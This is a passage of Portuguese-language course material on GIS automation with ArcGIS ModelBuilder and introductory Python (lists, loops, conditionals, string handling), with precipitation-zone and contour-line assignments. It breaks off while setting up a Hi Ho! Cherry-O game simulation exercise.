ferramenta principal Buffer: Comparação da nossa ferramenta de script com a principal ferramenta de buffer • Em algum momento, você pode precisar projetar um conjunto de ferramentas para usuários de SIG iniciantes, onde apenas os parâmetros mais necessários são expostos. Você também pode fazer isso para impor o controle de qualidade se souber que alguns dos parâmetros devem sempre ser definidos para determinados padrões e se deseja evitar o cenário em que um usuário inexperiente (ou um usuário não autorizado) possa alterar os valores necessários. Uma ferramenta de script simples é eficaz para simplificar o diálogo da ferramenta dessa maneira. 44 Leituras Leia Zandbergen 2.10 - 2.13 para reforçar o que você aprendeu durante esta lição sobre scripts e ferramentas de script. Projeto 1: Modelagem de zonas de precipitação Suponha que você esteja trabalhando em um projeto para um Departamento ambiental e tenha a tarefa de fazer alguns mapas de precipitação para uma determinada região (uma bacia hidrográfica, por exemplo). Membros do departamento querem ver quais partes desta região estavam relativamente secas e úmidas no ano de 2018, classificadas em zonas. Tudo o que você tem é uma série de leituras de estações meteorológicas de precipitação anual acumulada para 2018 que você obteve para a região de interesse e áreas adjacentes. Este é um shapefile de pontos chamado Plu_Total_Anual.shp. Está na sua pasta de dados. Este é um conjunto de dados fictício criado para este projeto. As localizações correspondem às estações meteorológicas reais. No entanto, as medições são derivadas de dados aproximados de precipitação de anos anteriores. Você precisa executar várias tarefas para preparar esses dados para o mapeamento: • Interpolar uma superfície de precipitação a partir de seus pontos. Isso cria um conjunto de dados raster com valores estimados de precipitação para toda a sua área de interesse. Imagine que você já planejou isso, sabendo que vai usar a interpolação de distância inversa ponderada (IDW). Você também selecionou seus pontos para incluir algumas áreas ao redor da região de interesse para evitar efeitos de borda na interpolação. • Reclassificar a superfície interpolada em uma classificação ordinal de "zonas" de precipitação que delineiam regiões relativamente secas, médias e úmidas. • Crie polígonos vetoriais das zonas. • Recorte os polígonos das zonas de precipitação pelo limite da região de interesse. 45 Mapeando os dados É muito possível que você queira repetir o processo acima para testar diferentes parâmetros de interpolação do IDW ou fazer mapas semelhantes com outros conjuntos de dados (como os dados de precipitação de outros anos, por exemplo). Portanto, a série de 46 tarefas acima é bem adequada ao uso do ModelBuilder. Seu trabalho é criar um modelo que possa completar a série de etapas acima sem precisar abrir manualmente quatro ferramentas diferentes. Parâmetros do modelo Seu modelo deve ter estes (e somente estes) parâmetros: • Dados de precipitação de entrada - Esta é a localização dos dados dos pontos de leitura da precipitação. Esse é um parâmetro do modelo para que o modelo possa ser facilmente executado novamente com outros conjuntos de dados. • Power - Uma configuração do interppolador IDW que especifica a rapidez com que a influência dos pontos ao redor diminui à medida que você se afasta do ponto a ser interpolado. • Raio de busca - Uma configuração do interpolador IDW que determina quantos pontos ao redor estão incluídos na interpolação de um ponto. O raio de busca pode ser fixado a uma certa distância, incluindo qualquer número de pontos que caiam dentro, ou sua distância pode variar para que ele sempre inclua um número mínimo de pontos. Quando você usa o ModelBuilder, não precisa configurar nenhuma dessas opções; ModelBuilder faz isso para você quando você define o Raio de Pesquisa como um parâmetro de modelo. • Limites das zonas - Esta é uma tabela que permite ao usuário do modelo especificar os limites das zonas para a classificação. Por exemplo, você poderia configurar valores de precipitação de 1050 - 1295 para resultar em uma classificação de 1 (para corresponder à Zona 1), 1295 - 1480 poderia resultar em uma classificação de 2 (para corresponder à Zona 2) e assim por diante. A maneira de obter esta tabela é fazer uma variável do parâmetro Reclassification da ferramenta Reclassify e defini-lo como um parâmetro de modelo. • Zonas de precipitação de saída - Esse é o local onde você deseja que o conjunto de dados de saída de zonas de precipitação já recortado seja colocado no disco. Ao construir seu modelo, você precisará definir algumas configurações que não serão expostas como parâmetros. Estes incluem a feição de clipe, que é a região da bacia hidrográfica, que corresponde ao arquivo Bacia_Hidrografica.shp na sua pasta de dados. Há muitas outras configurações e parâmetros das ferramentas, como "Z Value field" e "Input barrier polyline features" (para IDW) ou "Reclass field" (para Reclassify) que não precisam ser expostos. Você deve definir esses valores apenas uma vez ao criar seu modelo. Se você alguma vez pedir a alguém para executar este modelo, você não quer que eles sejam carregados com escolhas diferentes; você deve apenas expor as coisas essenciais que eles podem mudar. Para esse modelo específico, você deve assumir que qualquer conjunto de dados de entrada estará em conformidade com o mesmo esquema da classe de feições de Plu_Total_Anual.shp. Por exemplo, um analista deve poder enviar um outro conjunto de dados semelhante com os mesmos campos, nomes de campo e tipos de dados. No entanto, manipular todos os tipos de esquemas de classe de feições tornaria seu modelo mais complexo do que queremos para essa tarefa. Quando você clica duas vezes no modelo para executá-lo, a interface deve se parecer com o seguinte: 47 A interface do modelo Executar o modelo com os parâmetros listados acima deve resultar no seguinte (eu simbolizei as zonas no ArcMap com cores diferentes para ajudar a distingui-las). Esta é uma maneira de verificar seu trabalho: A saída do modelo concluído 48 Dicas As dicas a seguir podem ajudá-lo a construir seu modelo: • Seu modelo precisa incluir as seguintes ferramentas nesta ordem: IDW (da caixa de ferramentas do Spatial Analyst), Reclassify, Raster to Polygon, Clip (da caixa de ferramentas Analysis). • Uma maneira fácil de encontrar as ferramentas necessárias no ArcMap é clicar em Windows > Search e digitar o nome da ferramenta desejada na caixa de pesquisa. Tenha cuidado quando várias ferramentas tiverem o mesmo nome. Você normalmente estará usando ferramentas da caixa de ferramentas do Spatial Analyst nesta tarefa. • Depois de arrastar e soltar uma ferramenta na tela do ModelBuilder, clique duas vezes nela e defina todos os parâmetros da maneira que desejar. Estas serão as configurações padrão para o seu modelo. • Se houver um determinado parâmetro para uma ferramenta que você deseja expor como um parâmetro do modelo, clique com o botão direito do mouse na ferramenta na tela ModelBuilder, em seguida, clique em Make variable > From parameter e escolha o parâmetro. Quando o objeto oval aparecer para a variável, clique com o botão direito e clique em Model Parameter. • Se você receber erros que uma ferramenta não é capaz de executar ou que não há nenhuma extensão do Spatial Analyst instalada, talvez seja necessário ativar a extensão. No ArcMap, clique em Customize > Extensions e marque a caixa de seleção Spatial Analyst. Tarefa 1: Script para criar curvas de nível Este exercício ajudará você a praticar com o Python. Até agora você viu três exemplos simples de scripts; aqui a sua tarefa é escrever seu próprio script. Esse script criará linhas de contorno (curvas de nível) de vetor a partir de um conjunto de dados de elevação raster. Não esqueça que a Ajuda do ArcGIS Desktop pode realmente ser útil se você precisar descobrir a sintaxe de um comando em particular. Na pasta de dados está o MNT MDE_Onca.tiff que representa as elevações na região da bacia hidrográfica do Ribeirão da Onça no município de Itirapina SP. Escreva um script que use a ferramenta Contour na caixa de ferramentas do Spatial Analyst para criar as curvas de nível para a região do MNT. O intervalo de contorno deve ser de 20 metros e o contorno de base deve ser 600. Lembre-se de que as unidades nativas do MMNT são metros, portanto, não são necessárias conversões de unidades. A execução do script deve criar imediatamente um shapefile de linhas de contorno no disco. Siga estas diretrizes ao escrever o script: • O objetivo deste exercício é apenas fazer com que você pratique a escrita do código Python. Portanto, você não é obrigado a usar o arcpy.GetParameterAsText () para obter os parâmetros de entrada. Vá em frente e codifique os valores (como o nome do caminho para o conjunto de dados). 49 • Consequentemente, você não é obrigado a criar uma ferramenta de script para este exercício. • Seu código deve ser executado corretamente no PythonWin. Para crédito total, ele também deve conter comentários, tentar manipular erros e usar nomes de variáveis intuitivas. Entregas As entregas para avaliação desta aula são: • O arquivo .tbx da caixa de ferramentas que contém seu modelo de zonas de precipitação. A maneira mais fácil de encontrá-lo é clicar com o botão direito do mouse na caixa de ferramentas na janela Catalog, clicar em Propriedades e anotar o local. Se você não puder navegar para esse caminho no Windows Explorer, precisará ativar a opção Windows para mostrar arquivos e pastas ocultos. • O arquivo .py contendo seu script para criar as curvas de nível. • Um curto resumo (cerca de 400 palavras) descrevendo como você abordou os dois problemas, quaisquer contratempos enfrentados e como lidou com eles. 50 Etapa 2: Fundamentos de Python e Programação Objetivos da etapa 2 No final desta etapa, você deve: • Entender a sintaxe básica do Python para instruções condicionais e controle de fluxo de programa (if-else, operadores de comparação, for loop, while loop) • Familiarize-se com tipos de dados mais avançados (strings, listas), manipulação de strings e conversão entre diferentes tipos • Sabar como depurar código e como usar o depurador • Ser capaz de programar scripts básicos que usam instruções condicionais e loops para automatizar tarefas Mais fundamentos do Python Até aqui, você aprendeu sobre o ModelBuilder, e isso pode ser suficiente para resolver muitas das tarefas de SIG que você precisa no seu trabalho. No entanto, por mais útil que seja o ModelBuilder, você descobrirá que às vezes você precisa do Python para adicionar inteligência em suas análises de geoprocessamento. Por exemplo, você pode precisar construir cadeias de consulta complexas ou empregar lógica condicional. Pode ser necessário ler ou analisar vários tipos de dados de entrada antes de poder enviá-lo para uma ferramenta como um parâmetro. Ou você pode precisar fazer um loop complexo que, em algum limite, provavelmente se tornará mais fácil de escrever em Python do que modelar com o ModelBuilder. Na etapa 1, você viu seus primeiros scripts Python e foi introduzido ao básico, como importar módulos, usar arcpy, trabalhar com propriedades e métodos. Nas etapas a seguir, você aprenderá mais fundamentos da programação Python, como trabalhar com listas, executar loops, estruturas de decisão if / else, manipular strings e converter variáveis. Embora isso possa não ser a parte mais interessante do curso, é provavelmente a seção mais importante para você gastar tempo compreendendo e experimentando por conta própria, especialmente se você é novo em programação. A programação é semelhante à prática de esportes: se você dedicar algum tempo para praticar os fundamentos, terá mais facilidade quando precisar reunir todas as suas habilidades. Por exemplo, pense nas coisas que você precisa aprender para jogar basquete. Um jogador de basquete disciplinado pratica dribles, passes, arremessos de longa distância, tocos, lances livres, defesa e outras habilidades. Se você praticar cada um desses fundamentos individualmente, você poderá usá-los todos juntos quando for a hora de jogar um jogo completo. Aprender uma linguagem de programação é da mesma maneira. Quando confrontado com um problema, você será forçado a utilizar suas habilidades fundamentais para elaborar um plano viável. Pode ser necessário incluir um loop em seu programa, armazenar itens em uma lista ou fazer com que o programa faça uma entre tantas coisas diferentes com base 51 em determinada entrada do usuário. Se você souber como fazer cada uma dessas coisas individualmente, poderá encaixar as peças, mesmo que a tarefa necessária pareça assustadora. Listas Na etapa 1, você aprendeu sobre alguns tipos de dados comuns no Python, como strings e inteiros. Às vezes, você precisa de um tipo que possa armazenar vários valores relacionados juntos. O Python oferece várias maneiras de fazer isso, e a primeira sobre a qual aprenderemos é a lista. Aqui está um exemplo simples de uma lista. Você pode digitar isso na Janela Interativa do PythonWin para acompanhar: >>> Naipes = ['Espadas', 'Paus', 'Ouros', Copas] Esta lista chamada 'Naipes' armazena quatro valores relacionados representando os naipes em um baralho de cartas. Em muitas linguagens de programação, armazenar um grupo de objetos em sequência como esse é feito com matrizes. Embora a lista do Python possa ser considerada como uma matriz, ela é um pouco mais flexível do que a matriz típica de outras linguagens de programação. Isso porque você pode colocar vários tipos de dados em uma lista. Por exemplo, suponha que quiséssemos criar uma lista para os valores das cartas que você poderia desenhar. A lista pode ser assim: >>> valores = ['Ás', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'Valete', 'Dama', 'Rei'] Observe que você acabou de misturar valores de strings e inteiros na lista. Python. No entanto, cada item na lista ainda tem um índice, significando um inteiro que indica o lugar de cada item na lista. A lista começa com o índice 0 e, para cada item da lista, o índice é incrementado em um. Tente isto: >>> print (Naipes[0]) Espadas >>> print (valores[12]) Rei Nas linhas acima, você apenas solicitou o item com o índice 0 na lista de Naipes e obteve 'Espadas'. Da mesma forma, você solicitou o item com índice 12 na lista de valores e obteve 'King'. Pode levar algum tempo inicialmente para lembrar que suas listas começam com um índice 0. Testar seus scripts pode ajudar a evitar erros "off-by-one" que podem resultar do esquecimento de que as listas são indexadas com zero. Por exemplo, você pode configurar um script para crias 100 cartas aleatórias e imprimir os valores. Se nenhuma delas é um Ás, você provavelmente criou o baralho fazendo os índices começarem em 1. Lembre-se que você aprendeu que tudo é um objeto em Python. Isso também se aplica às listas. Na verdade, as listas têm muitos métodos úteis que você pode usar para alterar a ordem dos itens, inserir itens, classificar a lista e assim por diante. Tente isto: 52 >>> Naipes = ['Espadas', 'Paus', 'Ouros', 'Copas'] >>> Naipes.sort () >>> print (Naipes) ['Copas', 'Espadas', 'Ouros', 'Paus'] Observe que os itens na lista estão agora em ordem alfabética. Você também deve ter notado que, quando você digitou "Naipes", recebeu ajuda para ver quais métodos estavam disponíveis para a lista. Isso é chamado de autocompletar, e pode ser uma grande ajuda quando você está escrevendo um código. Você quer verificar o que você pode fazer e não pode fazer. Também pode ser uma maneira de evitar erros de digitação, pois você pode descer a seta e pressionar Tab para inserir o método desejado. O autocompletar é um recurso do PythonWin, mas esse tipo de ajuda pode ser encontrado em outros ambientes de desenvolvimento integrados (IDEs), como o Microsoft Visual Studio. O método sort() que você usou acima permitiu que você fizesse algo em uma linha de código que, de outra forma, teria usado muitas linhas. Outro método útil como esse é o reverse(), que permite classificar uma lista em ordem alfabética inversa: >>> Naipes.reverse () >>> print (Naipes) ['Paus', ' Ouros ', 'Espadas', 'Copas'] Antes de tentar escrever um código de manipulação de listas, verifique a documentação de referência da lista do Python para ver se existe um método existente que possa simplificar seu trabalho. Inserindo itens e combinando listas O que acontece quando você quer combinar duas listas? Digite isto na janela interativa: >>> lista1 = [101,102,103] >>> lista2 = [104,105,106] >>> lista3 = lista1 + lista2 >>> print (lista3) [101, 102, 103, 104, 105, 106] Observe que você não conseguiu [205,207,209]; em vez disso, o Python trata a adição como acrescentando lista2 a lista1 . Em seguida, tente estas outras maneiras de adicionar itens à lista: >>> lista3 + = [107] >>> print (lista3) [101, 102, 103, 104, 105, 106, 107] >>> lista3.append (108) >>> print (lista3) [101, 102, 103, 104, 105, 106, 107, 108] 53 Para colocar um item no final da lista, você pode adicionar uma lista de um item (como adicionamos 107 à lista) ou usar o método append() na lista (como adicionamos 108 à lista). Observe que lista3 + = [107] é uma forma abreviada de dizer lista3 = lista3 + [107]. Se você precisar inserir alguns itens no meio da lista, você pode usar o método insert(): >>> lista3.insert (4, 999) >>> print (lista3) [101, 102, 103, 104, 999, 105, 106, 107, 108] Observe que o método insert() acima usou dois parâmetros. Você pode até ter notado uma dica de ferramenta que mostra o que os parâmetros significam. O primeiro parâmetro é a posição do índice que o novo item terá. Essa chamada de método insere 999 entre 104 e 105. Agora, 999 está no índice 4. Obtendo o tamanho de uma lista Às vezes, você precisará descobrir quantos itens estão em uma lista, principalmente quando estiver em um loop. Veja como você pode obter o tamanho de uma lista: >>> minhaLista = [4,9,12,3,56,133,27,3] >>> print (len(minhaLista)) 8 Observe que len() fornece o número exato de itens na lista. Para obter o índice do item final, você precisaria usar len(minhaLista) - 1. Novamente, essa distinção pode levar a erros "off-by-one" se você não for cuidadoso. Outras maneiras de armazenar coleções de dados As listas não são a única maneira de armazenar coleções ordenadas de itens em Python; você também pode usar tuplas e dicionários. As tuplas são como listas, mas você não pode alterar os objetos dentro de uma tupla ao longo do tempo. Em alguns casos, uma tupla pode, na verdade, ser uma estrutura melhor para armazenar valores como os naipes em um baralho de cartas, porque essa é uma lista fixa que você não deseja que seu programa mude acidentalmente. Os dicionários diferem das listas uma vez que que os itens não são indexados; em vez disso, cada item é armazenado com um valor de chave que pode ser usado para recuperar o item. Usaremos os dicionários mais adiante no curso e sua tarefa de leitura desta lição abordará o básico sobre dicionário de dados. A melhor maneira de entender como os dicionários funcionam é brincar com alguns dos exemplos didáticos do livro na Janela Interativa (ver Zandbergen 6.8). Loops Um loop é uma seção de código que repete uma ação. Lembre-se, o poder do script (e computação em geral) é a capacidade de repetir rapidamente uma tarefa que pode ser demorada ou propensa a erros para um ser humano. Looping é como você repete tarefas 54 com código; se está lendo um arquivo, procurando um valor ou executando a mesma ação em cada item de uma lista. Loop FOR Um loop for faz algo com cada item em uma lista. Digite isso na Janela Interativa do PythonWin para ver como funciona um loop simples: >>> for nome in ["Lula", "Itamar", "Collor"]: print (nome + "era um presidente do Brasil") Depois de digitar isso, você terá que apertar Enter duas vezes seguidas para dizer ao PythonWin que acabou de trabalhar no loop e que o loop deve ser executado. Você deveria ver: Lula era um presidente do Brasil Itamar era um presidente do Brasil Collor era um presidente do Brasil Observe algumas coisas importantes sobre o loop acima. Primeiro, você declarou uma nova variável, "nome", para representar cada item da lista à medida que você iterava. Tudo bem fazer isso; na verdade, espera-se que você faça isso no início do loop for. A segunda coisa a notar é que, após a condição, ou a primeira linha do loop, você digitou dois pontos (:) e, em seguida, iniciou o recuo das linhas subseqüentes. Algumas linguagens de programação requerem que você digite algum tipo de linha ou caractere especial no final do loop (por exemplo, "Next" no Visual Basic ou "}" em JavaScript), mas o Python procura apenas o local em que você usou um recuo. Ao pressionar Enter duas vezes, você disse ao Python para parar o recuo e que estava pronto para executar o loop. For Loops também pode trabalhar com listas de números. Experimente este na janela interativa: >>> x = 2 >>> multiplicadores = [1,2,3,4] >>> for num in multiplicadores: print (x * num) 2 4 6 8 No loop acima, você multiplicou cada item na lista por 2. Observe que você pode configurar sua lista antes de começar a codificar o loop. Você também poderia ter feito o seguinte com o mesmo resultado: >>> multiplicadores = [1,2,3,4] >>> for num in multiplicadores: x = 2 55 print (x * num) O código acima, no entanto, é menos eficiente do que o que fizemos inicialmente. Você pode ver por quê? Desta vez você está declarando e configurando a variável x = 2 dentro do loop. O interpretador Python agora terá que ler e executar essa linha de código quatro vezes em vez de uma. Você pode pensar que essa é uma quantidade trivial de trabalho, mas se sua lista continha milhares ou milhões de itens, a diferença no tempo de execução se tornaria perceptível. Declarar e definir variáveis fora de um loop, sempre que possível, é uma prática recomendada na programação. Enquanto estamos no assunto, o que você faria se quisesse multiplicar 2 por cada número de 1 a 1000? Definitivamente seria muita digitação para configurar manualmente uma lista de multiplicadores como no exemplo anterior. Nesse caso, você pode usar a função de intervalo interna do Python (Range). Tente isto: >>> x = 2 >>> for num in range(1,1001): print (x * num) A função range é sua maneira de dizer ao Python: "Comece aqui e pare aí". Usamos 1001 porque o loop para um item antes do segundo argumento da função (os argumentos são os valores que você coloca entre parênteses para dizer à função como executar). Se você precisar da função para multiplicar por 0 no começo também, você pode até usar um só argumento: >>> x = 2 >>> for num in range(1001): print (x * num) A função range tem muitos usos interessantes que são detalhados em Zandbergen. Loops WHILE Um loop while é executado até que alguma condição seja atendida. Veja como codificar nosso exemplo acima usando um loop while: >>> x = 0 >>> while x <1001: ... print (x * 2) ... x + = 1 Loops while geralmente envolvem o uso de algum contador que monitora quantas vezes o loop foi executado. Às vezes, você executará operações com o contador. Por exemplo, no loop acima, x era o contador, e também multiplicamos o contador por 2 cada vez durante o loop. Para incrementar o contador, usamos x + = 1, que é a abreviação de x = x + 1, ou "add one to x". Loops encadeados Algumas situações exigem colocar um loop dentro de outro, uma prática chamada nesting. Loops aninhados podem ajudá-lo a imprimir cada carta em um baralho (menos os coringas): >>> Naipes = ['Espadas', 'Paus', 'Ouros', 'Copas'] 56 >>> valores = ['Ás', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'Valete', 'Dama', 'Rei'] >>> for naipe in Naipes: for valor em valores: print (str(valor) + "de" + str(naipe)) No exemplo acima, você começa com um naipe e, em seguida, percorre cada valor da ação, imprimindo o nome da carta. Quando você atinge o final da lista de valores, você pula para fora do loop aninhado e volta para o primeiro loop para obter o próximo naipe. Então você percorre todos os valores no segundo naipe e imprime os nomes das cartas. Este processo continua até que todas as ações e valores tenham sido passados. Looping em modelos SIG Você usará loop repetidamente ao escrever scripts SIG em Python. Muitas vezes, você precisará fazer uma iteração em todas as linhas de uma tabela, em todos os campos de uma tabela ou em todas as classes de feições de uma pasta ou geodatabase. Você pode até precisar percorrer os vértices de uma feição geográfica. Você viu acima que os loops funcionam particularmente bem com listas. O arcpy possui alguns métodos que podem ajudá-lo a criar listas. Aqui está um exemplo que você pode tentar que usa arcpy.ListFeatureClasses() . Primeiro, crie manualmente uma nova pasta C:\SEA5923\Dados2 . Em seguida, copie o código abaixo em um novo script no PythonWin e execute o script. O script copia todos os dados da pasta Dados para a nova pasta que você acabou de criar. # Copia todas as classes de feições de uma pasta para outra import arcpy try: arcpy.env.workspace = "C:/SEA5923/Dados" # Lista as classes de feições da pasta Dados fcList = arcpy.ListFeatureClasses() # percorre a lista e copia as fc para a pasta Dados2 for featureClass in fcList: arcpy.CopyFeatures_management(featureClass, "C:/SEA5923/Dados2/" + featureClass) except: print ("O script falhou") print (arcpy.GetMessages(2)) 57 Observe acima que, uma vez que você tenha uma lista de classes de feições do Python (fcList), é muito fácil configurar a condição de loop (for featureClass in fcList :). Outra operação comum em scripts SIG é fazer um loop através de tabelas. Na verdade, o módulo arcpy contém alguns objetos especiais chamados cursores que ajudam você a fazer isso. Aqui está um pequeno script mostrando como um cursor pode percorrer cada linha em uma classe de feições e imprimir o nome. Nós abordaremos os cursores em detalhes adiante, então não se preocupe se algum código parecer confuso agora. O importante é notar como um loop é usado para percorrer cada registro: import arcpy tabelaEntrada = "C:/SEA5923/Dados/Municipios.shp" campo = "NOME" linhas = arcpy.SearchCursor(tabelaEntrada) #Este loop percorre cada linha da tabela de atributos # e armazena o valor do campo requisitado for linha in linhas: nomeCidade = row.getValue(campo) print (nomeCidade) No exemplo acima, um cursor de pesquisa denominado “linhas” recupera registros da tabela. O loop for possibilita executar uma ação em cada registro individual. Leitura de Ajuda do ArcGIS Leia o seguinte na Ajuda do ArcGIS Desktop: http://desktop.arcgis.com/en/arcmap/latest/analyze/python/listing-data.htm Estruturas de decisão IF - ELSE Muitos scripts que você escreve precisarão ter lógica condicional que execute um bloco de código dado uma condição e talvez execute um bloco de código diferente, dada uma condição diferente. O "if" as instruções "elif" e "else" no Python fornecem essa lógica condicional. Tente digitar este exemplo na Janela Interativa do PythonWin: >>> x = 3 >>> if x > 2: ... print ("Maior que dois") 58 ... Maior do que dois No exemplo acima, a palavra-chave "if" indica que algum teste condicional está prestes a ser executado. Nesse caso, a condição de x sendo maior que dois foi atendida, portanto, o script imprimiu "Maior que dois". Observe que você é obrigado a colocar dois pontos (:) após a condição e recuar qualquer código a ser executado por causa da condição. Para consistência nesta classe, todo recuo é feito usando quatro espaços. Usar "else" é uma maneira de executar o código se a condição não for atendida. Tente isto: >>> x = 1 >>> if x > 2: ... print ("Maior que dois") ... else: ... print ("Menor ou igual a dois") ... Menor ou igual a dois Observe que você não precisa colocar nenhuma condição depois de "else". É uma maneira de pegar todos os outros casos. Novamente, o código condicional é recuado em quatro espaços, o que torna o código muito fácil de ser entendido. O recuo é necessário porque o Python não requer nenhum tipo de instrução "end if" (como muitas outras linguagens) para indicar o final do código que você deseja executar. Se você deseja executar várias condições, use "elif", que é a abreviação do Python para "else if": >>> x = 2 >>> if x > 2: ... print ("Maior que dois") ... elif x == 2: ... print ("Igual a dois") ... else: ... print ("Menor que dois") ... Igual a dois No código acima, elif x == 2: testa se x é igual a dois. O == é uma maneira de testar se dois valores são iguais. Usar um único = nesse caso resultaria em um erro porque = é usado para atribuir valores a variáveis. No código acima, você não está tentando atribuir a “x” o valor de 2, você quer verificar se “x” é igual a 2, daí você usa ==. Cuidado: Usar = em vez de == para verificar a equivalência é um erro muito comum no Python, especialmente se você usou outras linguagens onde = é permitido para verificações de equivalência. 59 Você também pode usar if, elif e else para lidar com várias possibilidades em um conjunto. O código abaixo pega uma escola aleatória de uma lista (note que tivemos que importar o módulo randon para fazer isso e chamar um método especial random.randrange() ). Depois que a escola é selecionada e seu nome é impresso, uma série de declarações if / elif / else é exibida para lidar com cada possibilidade. Observe que a instrução else é deixada como manipulador de erro; você não deve se deparar com essa linha se seu código funcionar corretamente, mas você pode deixar a linha lá para se algo der errado. import random # Escolhe uma escola aleatoriamente de uma lista e a imprime escolas = ["UFSCar", "EESC USP", "UNICEP"] randomEscolasIndex = random.randrange(0,3) escolaEscolhida = escolas[randomEscolasIndex] print (escolaEscolhida) # dependendo da escola escolhida, imprime o tipo de escola if escolaEscolhida == "UFSCar": print ("Universidade Federal") elif escolaEscolhida == "EESC USP": print ("Universidade Estadual") elif escolaEscolhida == "UNICEP": print ("Universidade Privada") else: print ("Este programa apresentou um erro!") Algumas outras linguagens de programação existem palavras-chave especiais (comandos) para fazer o mesmo, como switch ou select case. No Python, no entanto, geralmente é feito apenas com uma longa lista encadeada de "if"s e "elif"s. Manipulação de strings Você já aprendeu como a variável de string (cadeias de caracteres) pode conter números e letras e representar quase tudo. Ao usar o Python com o ArcGIS, sequências de caracteres podem ser úteis para armazenar caminhos para dados e imprimir mensagens para o usuário. Existem também alguns parâmetros da ferramenta de geoprocessamento que você precisará fornecer como strings. 60 O Python possui algumas habilidades de manipulação de strings muito úteis. Não entraremos em todos eles neste curso, mas seguiremos algumas técnicas que você precisa conhecer. Concatenando strings Para concatenar duas strings, que significa anexar ou adicionar uma string ao final de outra string. Por exemplo, você poderia concatenar as strings "Python is" e "uma linguagem de script" para fazer a frase completa "Python é uma linguagem de script". Como você está adicionando uma string a outra, é intuitivo que em Python você possa usar o sinal + para concatenar strings. Talvez seja necessário concatenar strings ao trabalhar com os nomes de caminho dos arquivos. Às vezes é útil ou necessário armazenar uma string representando um diretório ou geodatabase a partir da qual você está obtendo conjuntos de dados e uma segunda string representando o próprio nome do conjunto de dados. Você coloca os dois juntos para ter o caminho completo. O exemplo a seguir, modificado da Ajuda do ArcGIS, demonstra esse conceito. Suponha que você já tenha uma lista de strings representando as classes de feições que você deseja recortar. A lista é representada por "featureClassList" neste script: # Este script recorta (clip) todos os dados de um diretório import arcpy pastaEntrada = "c:\\SEA5923\\Dados\\FC\\" pastaResultados = "c:\\SEA5923\\FC\\resultados\\" clipFeature = "c:\\SEA5923\\Dados\\Consorcio_mun.shp" # Cria a lista das classes de feições no diretório arcpy.env.workspace = pastaEntrada listaFC = arcpy.ListFeatureClasses() # Percorre cada fc da lista e realiza o recorte for FC in listaFC: # Escreve o caminho concatenando strings caminhoSaida = pastaResultados + FC # Aplica a ferramenta de Clip para a fc arcpy.Clip_analysis(FC, clipFeature, caminhoSaida) A concatenação de strings está ocorrendo nesta linha: caminhoSaida = pastaResultados + FC. A pasta de saída "C:\\SEA5923\\Dados\\FC\\resultados\\" está recebendo o nome da classe de feição adicionado no final. Se o nome da classe de feição 61 fosse "Hintegrada.shp", a cadeia de saída resultante seria "C:\\SEA5923\\Dados\\FC\\resultados\\Hintegrada.shp" O exemplo acima mostra que a concatenação de strings pode ser útil em looping. Construir o caminho de saída usando um espaço de trabalho (workspace) do conjunto de dados ou o nome de pasta seguido por um nome da classe de feições de uma lista fornece muito mais flexibilidade do que tentar criar cadeias de caminho de saída para cada conjunto de dados individualmente. Você pode não saber quantas classes de recursos estão na lista ou quais são seus nomes. Você pode contornar isso se construir os caminhos de saída através da concatenação de strings. Casting para uma string Às vezes, em programação, você tem uma variável de um tipo que precisa ser tratada como outro tipo. Por exemplo, 5 pode ser representado como um número ou uma string. O Python só pode executar cálculos matemáticos com o valor 5 se este for tratado como um número e só pode concatenar o valor 5 em uma string existente se for tratada como uma string. O Casting é uma forma de forçar seu programa a pensar em uma variável como um tipo diferente. Crie um novo script no PythonWin e digite ou cole o seguinte código: x = 0 while x < 10: print (x) x += 1 print ("Você executou o loop " + x + " vezes.") Agora tente executá-lo. O script tenta concatenar cadeias com a variável x para imprimir quantas vezes você executou um loop, mas resulta em um erro: "TypeError: pois não é possível concatenar objetos 'str' e 'int'." O Python não tem problema quando você deseja imprimir a variável x por conta própria, mas o Python não pode misturar strings e variáveis inteiras em uma instrução de impressão. Para rodar o código, você tem que converter a variável x em uma sequência de caracteres quando você tenta imprimi-lo. x = 0 while x < 10: print (x) x += 1 print ("Você executou o loop " + str(x) + " vezes.") Você pode forçar o Python a pensar em x como uma string usando str(x). O Python tem outras funções de conversão, como int() e float(), que você pode usar se precisar ir de uma string para um número. Use int() para inteiros e float() para decimais. Leituras É hora de fazer uma pausa e fazer algumas leituras de outra fonte. Se você é novo com script Python, isso ajudará você a ver os conceitos de um outro ângulo. Leia os capítulos 4 - 6 de Zandbergen (pule as partes do Capítulo 5 que você já leu na etapa 1). 62 • O Capítulo 4 aborda os fundamentos da sintaxe Python, loops, strings e outras coisas que acabamos de aprender. • O capítulo 5 fala sobre geoprocessamento com arcpy. Leia as seções que pulamos na etapa 1 - 5.7, 5.8 • O Capítulo 6 fornece algumas instruções específicas sobre como trabalhar com os conjuntos de dados do ArcGIS. Colocando tudo junto Até aqui você aprendeu os conceitos básicos de programação de listas, loops, estruturas de decisão e manipulação de strings. Você pode se surpreender com o que você pode fazer apenas com essas habilidades. Nesta seção, praticaremos colocando todos estes comandos juntos para resolver um desafio. O cenário que abordaremos é simular um jogo infantil "Hi Ho! Cherry-O" da Hasbro. Neste simples jogo de azar, o jogador começa com 10 cerejas em uma árvore. Na sua rodada o jogador gira uma roleta aleatória que informa se o jogador adiciona ou remove cerejas da árvore. Tabuleiro do jogo Hi Ho! Cherry-O Os possíveis resultados da roleta são: • Remover 1 cereja • Remover 2 cerejas • Remover 3 cerejas • Remover 4 cerejas • Pássaro visita seu balde de cerejas (Adicione 2 cerejas) 63 • Cachorro visita seu balde de cerejas (Adicione 2 cerejas) • Balde derramado (Coloque as 10 cerejas de volta na sua árvore) Os jogadores continuam se revezando até que algum tenha 0 cerejas na sua árvore, e nesse ponto será o ganhador do jogo. Seu objetivo aqui é escrever um script que simula o jogo (e por simplificação adotaremos que você está jogando sozinho), imprimindo o seguinte: • O resultado de cada rodada • O número de cerejas na sua árvore após cada jogada. Isso deve estar sempre entre 0 e 10. • O número final de jogadas necessárias para ganhar o jogo. Aproximando-se de um problema de programação Embora este exemplo possa parecer juvenil, é uma excelente maneira de praticar tudo o que você acabou de aprender. Como iniciante, você pode parecer intimidado pelo problema acima. Uma pergunta comum é: "Por onde começo?" A melhor abordagem é dividir o problema em pedaços menores de coisas que você sabe fazer. Uma das habilidades de programação mais importantes que você pode adquirir é a capacidade de verbalizar um problema e traduzi-lo em uma série de pequenas etapas de programação (construção do algoritmo). Aqui está uma lista de coisas que você precisa fazer neste script. Os programadores chamam esse pseudocódigo porque ele não está escrito em código, mas segue a sequência que o código precisará tomar. • Gire a roleta • Imprima o resultado da roleta • Adicione ou remova 